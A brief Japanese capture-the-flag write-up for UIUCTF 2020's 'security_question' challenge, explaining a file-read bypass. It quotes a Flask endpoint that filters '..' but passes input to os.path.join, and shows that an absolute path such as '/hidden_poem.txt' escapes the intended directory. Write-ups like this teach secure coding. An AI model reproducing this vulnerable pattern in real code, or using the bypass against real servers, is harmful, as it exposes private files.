CTFtime.org / UIUCTF 2020 / security_question
Someone just asked a very interesting question online. Can you help them solve their problem?
https://security.chal.uiuc.tf/
author: Husincostan
Stack Overflowの嘘サイトが出てくる。
質問文にあるソースコードには/getpoem
エンドポイントが提示されているので、アクセスするとコードにあった応答が帰ってくる。
@app.route('/getpoem') def get_poem(): poemname = request.args.get('name') if not poemname: return 'Please send a name query:\n' + str(os.listdir('poems')), 404 poemdir = os.path.join(os.getcwd(), 'poems') poempath = os.path.join(poemdir, poemname) if '..' in poemname: return 'Illegal substring detected.', 403 if not os.path.exists(poempath): return 'File not found.', 404 return send_file(poempath)
/getpoem
にアクセスするとPlease send a name query: ['rise.txt', 'daddy.txt', 'tyger.txt', 'road.txt']
と来る。
/getpoem?name=rise.txt
にアクセスすると、ファイルの中身が得られる。
問題文には/hidden_poem.txt
にアクセスして情報を抜き取るよう指令が書いてある。
なぜか取れてしまう
特に何も考えずに、/getpoem?name=/hidden_poem.txt
にアクセスするとフラグが出てくる。
なぜだろうか。
os.path.join is weird in python3
python3のjoinはこんな挙動をする。
>>> import os >>> print(os.path.join('/home', 'flag.txt')) /home/flag.txt >>> print(os.path.join('/home', '/flag.txt')) /flag.txt
冷静になって考えると、まあ、そうかという感じがする。
ルートパスに対して、相対パス指定と絶対パス指定をすると、結果はそうなるか。